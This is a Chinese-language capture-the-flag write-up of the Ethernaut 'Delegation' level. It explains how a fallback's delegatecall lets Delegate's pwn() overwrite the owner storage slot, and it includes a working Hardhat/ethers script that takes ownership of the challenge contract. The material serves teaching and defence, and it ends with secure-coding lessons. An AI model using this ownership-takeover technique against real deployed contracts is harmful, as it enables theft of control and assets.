Skip to content
On this page

Ethernaut Delegation 挑战:深入理解 delegatecall 的权限移交陷阱

在智能合约的世界里,安全永远是悬在开发者头上的达摩克利斯之剑。OpenZeppelin 提供的 Ethernaut 是一个经典的 Solidity CTF(夺旗挑战),通过一系列巧妙的关卡,引导我们探索智能合约的常见漏洞。今天,我们将聚焦于其中一个非常经典的关卡——Delegation,它将带我们深入剖析 Solidity 中一个强大却也充满潜在危险的低级函数:delegatecall。

挑战目标:夺取合约控制权

这个挑战的目标非常直接:夺取你所获得的 Delegation 合约实例的拥有权 (owner)。

我们拿到手的是两个 Solidity 合约:Delegate 和 Delegation。

Delegate.sol

solidity
contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

这个合约很简单。它有一个 owner 变量,在构造函数中初始化。最关键的是它包含一个 pwn() 函数,这个函数的功能是将 owner 设置为当前调用者 (msg.sender)。

Delegation.sol

solidity
contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this; // 只是一个占位符,无实际作用
        }
    }
}

Delegation 合约看起来像是一个代理合约。它也有一个 owner 变量,并在构造函数中被设置为部署者。它还持有一个 Delegate 合约的实例。

重点来了,Delegation 合约实现了一个 fallback() 函数。这个函数会在对 Delegation 合约的调用不匹配任何已知函数签名时被触发。而在这个 fallback() 函数中,它做了一件非常重要的事情:address(delegate).delegatecall(msg.data)。

这行代码,就是本次挑战的核心所在。

delegatecall 的奥秘与陷阱

在 Solidity 中,合约之间可以通过 call、delegatecall 和 staticcall 等低级函数进行交互。其中,delegatecall 是一个非常特殊且功能强大的函数,它通常用于实现可升级合约或者链上库。

delegatecall 的核心机制是:当合约 A 使用 delegatecall 调用合约 B 的函数时,合约 B 的代码会在合约 A 的 存储上下文 (storage context) 中执行,并且 msg.sender 和 msg.value 等全局变量也保持为对合约 A 的调用者信息。

打个比方,这就像是你把你的房子的钥匙和所有权证(合约 A 的存储和状态)交给了你的朋友(合约 B 的代码)。你的朋友可以随意按照他的意愿(合约 B 的函数逻辑)来装修、改动你房子里的任何东西,但这些改动都是发生在你自己的房子里,并且所有的花费和责任(msg.sender)都算在你的头上。

这种机制带来了巨大的灵活性,但也伴随着巨大的安全风险。如果被 delegatecall 调用的合约(合约 B)是恶意的或存在漏洞的,它就可以在调用者(合约 A)的存储空间中为所欲为,包括篡改重要的状态变量,甚至窃取资产。

漏洞分析:存储槽的对齐与权限转移

现在,让我们结合 delegatecall 的原理来分析 Delegation 合约的漏洞。

  1. Delegation 的 fallback(): 当我们调用 Delegation 合约一个不存在的函数(比如 pwn()),fallback() 函数会被触发。

  2. delegatecall 转发: fallback() 函数会执行 address(delegate).delegatecall(msg.data)。这意味着,我们的原始调用数据 msg.data(包含了我们想要调用的函数签名和参数)会被原封不动地转发给 Delegate 合约。

  3. 上下文切换: 此时,Delegate 合约中的 pwn() 函数的代码逻辑,将会在 Delegation 合约的存储上下文(而非 Delegate 合约自身)中执行。

  4. 存储槽对齐: 这是最关键的一步。让我们看看两个合约的存储变量声明顺序:

    • Delegate 合约: address public owner; (位于存储槽 0)
    • Delegation 合约: address public owner; (位于存储槽 0) Delegate delegate; (位于存储槽 1)

    惊人地巧合!两个合约的第一个存储槽都存储着一个 address public owner 变量。 当 Delegate 合约的 pwn() 函数在 Delegation 合约的存储上下文中执行 owner = msg.sender; 这行代码时,它修改的实际上是 Delegation 合约存储槽 0 上的 owner 变量!

因此,只要我们能够触发 Delegation 合约的 fallback 函数,并让它 delegatecall 到 Delegate 合约的 pwn() 函数,我们就能成功地将 Delegation 合约的 owner 变量设置为我们的地址。

攻击步骤

攻击非常简单:

  1. 作为挑战者,直接调用 Delegation 合约的 pwn() 函数。
  2. 由于 Delegation 合约没有 pwn() 函数,其 fallback() 函数会被触发。
  3. fallback() 函数会将 pwn() 的调用请求 delegatecall 到其内部持有的 Delegate 实例。
  4. Delegate 实例的 pwn() 函数在 Delegation 的存储上下文中执行,将 Delegation 的 owner 变量设置为挑战者的地址。

解决方案与验证 (TypeScript)

提供的 TypeScript 解决方案代码完美地演示了上述攻击过程:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
// ... (typechain imports, not directly used in the snippet)

describe("Delegation", function () {
  describe("Delegation testnet sepolia", function () {
    it("testnet sepolia Delegation owner", async function () {
      const DELEGATION_ADDRESS = "0x..."; // 题目提供的Delegation合约地址
      // 定义Delegate合约的ABI,用于与Delegation合约交互
      const DELEGATE_ABI = ["function pwn() external", "function owner() external view returns (address)"];

      const challenger = await ethers.getNamedSigner("deployer"); // 获取攻击者账户
      // 注意:这里是关键!我们创建了一个指向 DELEGATION_ADDRESS 的合约实例,
      // 但使用的是 DELEGATE_ABI。这意味着我们告诉 ethers,可以调用 DELEGATION_ADDRESS 上的 pwn() 函数,
      // 尽管 Delegation 本身没有这个函数。
      const delegateContract = new ethers.Contract(DELEGATION_ADDRESS, DELEGATE_ABI, challenger);

      // 发起对 Delegation 合约的 pwn() 调用
      const tx = await delegateContract.pwn();
      await tx.wait(); // 等待交易确认

      // 检查 Delegation 合约的 owner 是否已变为攻击者
      const delegationOwner = await delegateContract.owner();
      expect(delegationOwner).to.be.equals(challenger.address);
    });
  });
});

代码中的 new ethers.Contract(DELEGATION_ADDRESS, DELEGATE_ABI, challenger); 是精髓。它创建了一个 ethers.Contract 实例,但它指向的是 Delegation 合约的地址 (DELEGATION_ADDRESS),却使用了 Delegate 合约的 ABI (DELEGATE_ABI)。这允许我们“欺骗”以太坊客户端,让它认为 Delegation 合约拥有 pwn() 函数,从而成功触发其 fallback 机制。

经验与教训

Delegation 关卡生动地展示了 delegatecall 的双刃剑特性。它赋予了被调用合约在调用者存储空间中执行代码的巨大权限,使得在不匹配的存储布局下,或在对被委托合约的信任不足的情况下,极易发生意外的、灾难性的结果。

核心教训:

  1. 谨慎使用 delegatecall: 只有在完全信任被委托合约、且对其功能和存储布局有清晰理解时才使用。
  2. 存储槽对齐至关重要: 当使用 delegatecall 实现代理模式时,代理合约和逻辑合约的存储变量声明顺序必须精确匹配,否则可能导致状态变量被意外修改。
  3. Fallback 函数安全: 如果 fallback 函数使用了 delegatecall,请确保被委托的逻辑是安全的,并且调用 fallback 不会带来意想不到的副作用。

通过 Delegation 关卡,我们不仅掌握了 delegatecall 的工作原理,更重要的是,深刻理解了在智能合约开发中,对低级函数和合约之间交互的细致入微的理解是多么重要。每一个函数,都可能是潜在的安全漏洞的突破口。


Built with AiAda